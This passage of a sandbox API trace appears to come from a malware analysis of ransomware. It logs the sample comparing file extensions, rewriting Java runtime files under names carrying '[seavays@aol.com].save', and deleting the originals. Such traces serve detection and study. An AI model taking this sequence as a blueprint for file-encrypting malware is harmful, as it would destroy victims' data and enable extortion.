lpString2=".dll") returned 1 [0077.837] lstrlenW (lpString=".bz2") returned 4 [0077.837] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0077.837] lstrlenW (lpString=".7z") returned 3 [0077.837] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0077.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0077.837] lstrlenW (lpString=".dbf") returned 4 [0077.837] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0077.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0077.837] lstrlenW (lpString=".1cd") returned 4 [0077.837] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0077.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0077.837] lstrlenW (lpString=".jpg") returned 4 [0077.837] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0077.882] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.882] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.882] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0077.883] GetLastError () returned 0x0 [0077.883] ReadFile (in: hFile=0x34c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x3e40, lpOverlapped=0x0) returned 1 [0077.908] WriteFile (in: hFile=0x2f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x3e50, lpOverlapped=0x0) returned 1 [0077.910] ReadFile (in: hFile=0x34c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.910] WriteFile (in: hFile=0x2f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xe2, lpOverlapped=0x0) returned 1 [0077.910] SetEndOfFile (hFile=0x2f0) returned 1 [0077.910] CloseHandle (hObject=0x2f0) returned 1 [0077.910] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.910] SetEndOfFile (hFile=0x34c) returned 1 [0077.911] CloseHandle (hObject=0x34c) returned 1 [0077.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0077.912] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 1 [0077.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0077.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0077.912] lstrlenW (lpString=".doc") returned 4 [0077.912] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0077.913] lstrlenW (lpString=".docx") returned 5 [0077.913] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0077.913] lstrlenW (lpString=".pdf") returned 4 [0077.913] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0077.913] lstrlenW (lpString=".xls") returned 4 [0077.913] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0077.913] lstrlenW (lpString=".xlsx") returned 5 [0077.913] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0077.913] lstrlenW (lpString=".ppt") returned 4 [0077.913] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0077.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0077.913] lstrlenW (lpString=".zip") returned 4 [0077.913] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0077.913] lstrlenW (lpString=".rar") returned 4 [0077.913] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0077.913] lstrlenW (lpString=".bz2") returned 4 [0077.913] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0077.913] lstrlenW (lpString=".7z") returned 3 [0077.913] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0077.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0077.913] lstrlenW (lpString=".dbf") returned 4 [0077.913] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0077.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0077.914] lstrlenW (lpString=".1cd") returned 4 [0077.914] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0077.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0077.914] lstrlenW (lpString=".jpg") returned 4 [0077.914] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0077.915] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.915] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.915] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0077.916] GetLastError () returned 0x0 [0077.916] ReadFile (in: hFile=0x34c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x2aa40, lpOverlapped=0x0) returned 1 [0078.309] WriteFile (in: hFile=0x2f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x2aa50, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x2aa50, lpOverlapped=0x0) returned 1 [0078.313] ReadFile (in: hFile=0x34c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0078.314] WriteFile (in: hFile=0x2f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xe2, lpOverlapped=0x0) returned 1 [0078.314] SetEndOfFile (hFile=0x2f0) returned 1 [0078.362] CloseHandle (hObject=0x2f0) returned 1 [0078.362] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.362] SetEndOfFile (hFile=0x34c) returned 1 [0078.364] CloseHandle (hObject=0x34c) returned 1 [0078.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0078.364] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 1 [0078.778] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0078.778] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0078.778] lstrlenW (lpString=".doc") returned 4 [0078.778] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0078.779] lstrlenW (lpString=".docx") returned 5 [0078.779] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0078.779] lstrlenW (lpString=".pdf") returned 4 [0078.779] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0078.779] lstrlenW (lpString=".xls") returned 4 [0078.779] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0078.779] lstrlenW (lpString=".xlsx") returned 5 [0078.779] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0078.779] lstrlenW (lpString=".ppt") returned 4 [0078.779] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0078.779] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0078.779] lstrlenW (lpString=".zip") returned 4 [0078.779] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0078.779] lstrlenW (lpString=".rar") returned 4 [0078.779] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0078.779] lstrlenW (lpString=".bz2") returned 4 [0078.779] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0078.779] lstrlenW (lpString=".7z") returned 3 [0078.779] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0078.779] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0078.779] lstrlenW (lpString=".dbf") returned 4 [0078.779] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0078.779] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0078.779] lstrlenW (lpString=".1cd") returned 4 [0078.779] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0078.779] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0078.779] lstrlenW (lpString=".jpg") returned 4 [0078.779] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0078.780] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.780] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.780] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0078.817] GetLastError () returned 0x0 [0078.817] ReadFile (in: hFile=0x2e8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x39040, lpOverlapped=0x0) returned 1 [0078.834] WriteFile (in: hFile=0x310, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x39050, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x39050, lpOverlapped=0x0) returned 1 [0078.839] ReadFile (in: hFile=0x2e8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0078.839] WriteFile (in: hFile=0x310, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xe4, lpOverlapped=0x0) returned 1 [0078.839] SetEndOfFile (hFile=0x310) returned 1 [0078.839] CloseHandle (hObject=0x310) returned 1 [0078.840] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.840] SetEndOfFile (hFile=0x2e8) returned 1 [0078.842] CloseHandle (hObject=0x2e8) returned 1 [0078.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0078.842] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 1 [0078.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0078.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0078.843] lstrlenW (lpString=".doc") returned 4 [0078.843] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0078.843] lstrlenW (lpString=".docx") returned 5 [0078.843] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0078.843] lstrlenW (lpString=".pdf") returned 4 [0078.843] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0078.843] lstrlenW (lpString=".xls") returned 4 [0078.843] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0078.843] lstrlenW (lpString=".xlsx") returned 5 [0078.843] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0078.843] lstrlenW (lpString=".ppt") returned 4 [0078.843] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0078.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0078.843] lstrlenW (lpString=".zip") returned 4 [0078.843] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0078.843] lstrlenW (lpString=".rar") returned 4 [0078.843] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0078.844] lstrlenW (lpString=".bz2") returned 4 [0078.844] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0078.844] lstrlenW (lpString=".7z") returned 3 [0078.844] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0078.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0078.844] lstrlenW (lpString=".dbf") returned 4 [0078.844] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0078.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0078.844] lstrlenW (lpString=".1cd") returned 4 [0078.844] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0078.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0078.844] lstrlenW (lpString=".jpg") returned 4 [0078.844] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0078.851] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.851] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.851] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0078.852] GetLastError () returned 0x0 [0078.852] ReadFile (in: hFile=0x344, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x9fa40, lpOverlapped=0x0) returned 1 [0078.875] WriteFile (in: hFile=0x388, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x9fa50, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x9fa50, lpOverlapped=0x0) returned 1 [0079.233] ReadFile (in: hFile=0x344, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.233] WriteFile (in: hFile=0x388, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xf0, lpOverlapped=0x0) returned 1 [0079.233] SetEndOfFile (hFile=0x388) returned 1 [0079.233] CloseHandle (hObject=0x388) returned 1 [0079.233] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.233] SetEndOfFile (hFile=0x344) returned 1 [0079.239] CloseHandle (hObject=0x344) returned 1 [0079.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0079.239] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 1 [0079.240] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0079.240] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0079.240] lstrlenW (lpString=".doc") returned 4 [0079.240] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0079.240] lstrlenW (lpString=".docx") returned 5 [0079.240] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0079.240] lstrlenW (lpString=".pdf") returned 4 [0079.240] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0079.240] lstrlenW (lpString=".xls") returned 4 [0079.240] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0079.240] lstrlenW (lpString=".xlsx") returned 5 [0079.240] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0079.240] lstrlenW (lpString=".ppt") returned 4 [0079.240] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0079.240] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0079.240] lstrlenW (lpString=".zip") returned 4 [0079.241] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0079.241] lstrlenW (lpString=".rar") returned 4 [0079.241] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0079.241] lstrlenW (lpString=".bz2") returned 4 [0079.241] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0079.241] lstrlenW (lpString=".7z") returned 3 [0079.241] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0079.241] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0079.241] lstrlenW (lpString=".dbf") returned 4 [0079.241] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0079.241] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0079.241] lstrlenW (lpString=".1cd") returned 4 [0079.241] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0079.241] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0079.241] lstrlenW (lpString=".jpg") returned 4 [0079.241] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0079.242] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.242] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.242] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0079.243] GetLastError () returned 0x0 [0079.243] ReadFile (in: hFile=0x344, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x17a40, lpOverlapped=0x0) returned 1 [0079.246] WriteFile (in: hFile=0x388, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x17a50, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x17a50, lpOverlapped=0x0) returned 1 [0079.249] ReadFile (in: hFile=0x344, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.249] WriteFile (in: hFile=0x388, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xe2, lpOverlapped=0x0) returned 1 [0079.249] SetEndOfFile (hFile=0x388) returned 1 [0079.249] CloseHandle (hObject=0x388) returned 1 [0079.249] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.249] SetEndOfFile (hFile=0x344) returned 1 [0079.251] CloseHandle (hObject=0x344) returned 1 [0079.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0079.251] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 1 [0079.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0079.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0079.252] lstrlenW (lpString=".doc") returned 4 [0079.252] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0079.252] lstrlenW (lpString=".docx") returned 5 [0079.252] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0079.252] lstrlenW (lpString=".pdf") returned 4 [0079.252] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0079.252] lstrlenW (lpString=".xls") returned 4 [0079.252] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0079.252] lstrlenW (lpString=".xlsx") returned 5 [0079.252] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0079.252] lstrlenW (lpString=".ppt") returned 4 [0079.252] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0079.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0079.252] lstrlenW (lpString=".zip") returned 4 [0079.252] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0079.252] lstrlenW (lpString=".rar") returned 4 [0079.252] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0079.252] lstrlenW (lpString=".bz2") returned 4 [0079.252] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0079.252] lstrlenW (lpString=".7z") returned 3 [0079.252] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0079.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0079.252] lstrlenW (lpString=".dbf") returned 4 [0079.252] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0079.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0079.252] lstrlenW (lpString=".1cd") returned 4 [0079.252] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0079.253] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0079.253] lstrlenW (lpString=".jpg") returned 4 [0079.253] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0079.253] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.253] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.253] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0079.254] GetLastError () returned 0x0 [0079.254] ReadFile (in: hFile=0x344, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0xec40, lpOverlapped=0x0) returned 1 [0079.256] WriteFile (in: hFile=0x388, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec50, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xec50, lpOverlapped=0x0) returned 1 [0079.258] ReadFile (in: hFile=0x344, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.258] WriteFile (in: hFile=0x388, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xe2, lpOverlapped=0x0) returned 1 [0079.258] SetEndOfFile (hFile=0x388) returned 1 [0079.258] CloseHandle (hObject=0x388) returned 1 [0079.259] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.259] SetEndOfFile (hFile=0x344) returned 1 [0079.260] CloseHandle (hObject=0x344) returned 1 [0079.260] SetFileAttributesW (lpFileName="C:\\Program 